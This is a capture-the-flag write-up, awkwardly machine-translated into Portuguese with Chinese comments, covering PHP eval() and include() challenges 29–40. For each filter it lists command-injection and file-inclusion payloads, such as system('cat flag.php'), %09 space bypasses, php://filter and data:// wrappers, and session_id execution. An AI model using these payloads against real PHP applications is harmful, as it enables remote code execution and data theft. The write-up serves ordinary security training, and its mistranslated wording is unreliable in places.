A avaliação da equipe escolar foi derrotada, fechada e reconstruída
29-36
29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
- Sinalizador de caso filtrado
- Carga útil autoconstruída
echo `nl ????.???`; # 显示文本内容与行号
echo `tail ????.???`;# 只看文本的后几行
echo `cat ????.???`; # 从第一行开始显示文本内容
echo `more ????.???`; # 一页一页的显示文本内容
echo `less ????.???`; # 与 more 类似,但是比 more 更好的是,它可以往前翻页!
echo `head ????.???`; # 只看文本的前面几行
echo `tac ????.???`; # 从最后一行开始显示文本
echo `nl fla''g.php`;
echo `nl f*`;
- Carga útil de outras pessoas
c=eval($_GET[1])?>&1=system('cat flag.php');
c=?><?=echo `$_GET[1]`;&1=cat flag.php//查看源代码
Resumindo:
- Sem filtragem * e? Quando esses dois caracteres curinga * representam 0 ou mais caracteres arbitrários? Combine um personagem
- nl tail cat mais menos tac head sete comandos podem ver arquivos
- Se apenas o flag cat for filtrado, essas strings completas podem ser contornadas por ``
- Chamar a função do sistema retorna o valor de retorno da função, como 0 significa execução correta, -1 erro de execução; ao mesmo tempo, o resultado do comando cmd será impresso na interface do console;
- A crase
retorna diretamente o resultado da execução do cmd, mas não será exibido na tela.
- Pensei neste método de aninhamento de eval para construir uma palavra cavalo de Tróia, mas não pensei em aninhar eval tcl
- ?> <? = Isso é uma coisa mágica, crie um ambiente para mostrá-lo por si mesmo
<?php
?>
<?='aaaaaaa'?>
- Visite a página irá mostrar aaaaaaa
<? = "é uma pequena tag de abertura do PHP e um atalho de uso de echo ().
Como usar esta pequena tag, você deve habilitá-la nas configurações
do arquivo PHP.ini . Precisamos encontrá-la no PHP.ini arquivo A seguinte linha e adicionar (On) para ativá-la,
30
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
- Case filtra o conteúdo acima
- O sistema de filtragem acabou de ser usado, e o flag e php ainda podem ser contornados pelo método acima
- Dê uma carga útil
echo `nl fl''ag.p''hp`;
31
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
- A principal diferença entre esta questão e a anterior reside na filtragem. E no espaço
- Carga útil própria
echo`nl%09f*`;
?><?=`nl%09f*`;
?><?=`$_GET[1]`;&1=cat flag.php
eval($_GET[1])?>&1=system('cat flag.php');
eval($_GET[1]);&1=system('cat flag.php');
- Pontas:
1. Comparado com as questões anteriores, o ponto de teste é a filtragem de espaços
2. O método de contorno% 09 $ {IFS}, $ IFS $ 9, <>, <
32
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
- Mais alguns símbolos são filtrados em comparação com o anterior
echo、`、;、(
- Construa a carga útil:
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
- Substituído originalmente?> Por; deve ser viável eval deve conter uma instrução PHP completa, mas como; é filtrado, você só pode usar?>
- Inclusão de arquivo e pseudo-protocolo são usados aqui para obter sinalizadores, lacunas de inclusão de arquivo são usadas e a postura é aumentada.
33-36
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
- Estou um
"
pouco confuso - carga útil:
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
- Você pode usar isso para obter a bandeira para até 36 perguntas
37-44
37
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
- Há uma inclusão de arquivo aqui, e a vulnerabilidade de inclusão de arquivo deve ser usada para executar o comando
- No início, eu queria usar o pseudo-protocolo php: // input para conseguir a execução do comando, mas falhou.Aconteceu que havia um problema com meu hackbar.
- carga útil:
?c=php://input hackbar POST传参<?php system('cat f*');?>
?c=data://text/plain,system('cat f*');?>
?c=data://text/plain,base64;PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==
A instrução include (ou require) irá obter todo o texto / código / marcas existentes no arquivo especificado e copiá-lo para o arquivo usando a instrução include.
O data: // text / plain no pseudo protocolo permite ao usuário controlar o fluxo de entrada. Quando combinado com a função include, o fluxo data: // inserido pelo usuário será tratado como um arquivo php para executar
o php: / no pseudo protocolo / entrada, o mesmo princípio
38
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
-payload:
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==
39
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
- O sinalizador é filtrado aqui e o sufixo .php é adicionado quando o arquivo é incluído.
- carga útil:
c=data://text/plain,<?php system('cat f*');?>
- Dica: data: // text / plain, isso é equivalente a executar uma instrução php. Php Como a instrução php anterior foi fechada, o seguinte .php será tratado como uma página html e exibido diretamente na página, que não tem efeito
- Não entendo muito bem por que php: // input falha
- Espere para consertar o poço
40
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
- Filtrou um monte de coisas, filtrou aspas simples, $, `
- Não faço ideia, eu assisti wp
- carga útil
c=session_start();system(session_id());
- Capture o pacote
PHPSESSID=ls
desta forma, você pode obter o efeito da execução do comando - Equivalente ao sistema ('ls');
Em seguida, altere-o diretamente para c = session_start (); destaque_file (session_id ()); e então altere o valor de PHPSESSID para flag.php e há um problema.
Após o teste, descobriu-se que 5.5-7.1.9 pode ser executado sob a influência da versão php, porque session_id é especificado como caracteres em 0-9, az, AZ, -. Abaixo de 5.5 e acima de 7.1, não é possível escrever outro conteúdo. Mas os personagens que atendem aos requisitos ainda são possíveis.
Reproduzido de Feather Big Brother
- Escreva a carga útil primeiro highlight_file (next (array_reverse (scandir (pos (localeconv ())))));
- Funções que precisam ser usadas
- localeconv (): Retorna um array contendo informações de número local e formato de moeda. O primeiro na matriz é um ponto (.)
- pos (): Retorna o valor do elemento atual na matriz.
- array_reverse (): ordem inversa do array
- scandir (): Obtenha os arquivos no diretório
- next (): A função aponta o ponteiro interno para o próximo elemento na matriz e o gera.
- Primeiro pegue o ponto por meio de pos (localeconv ()), porque scandir ('.') Significa obter os arquivos no diretório atual, então
- scandir (pos (localeconv ())) pode obter flag.php
- Reimpresso de Feather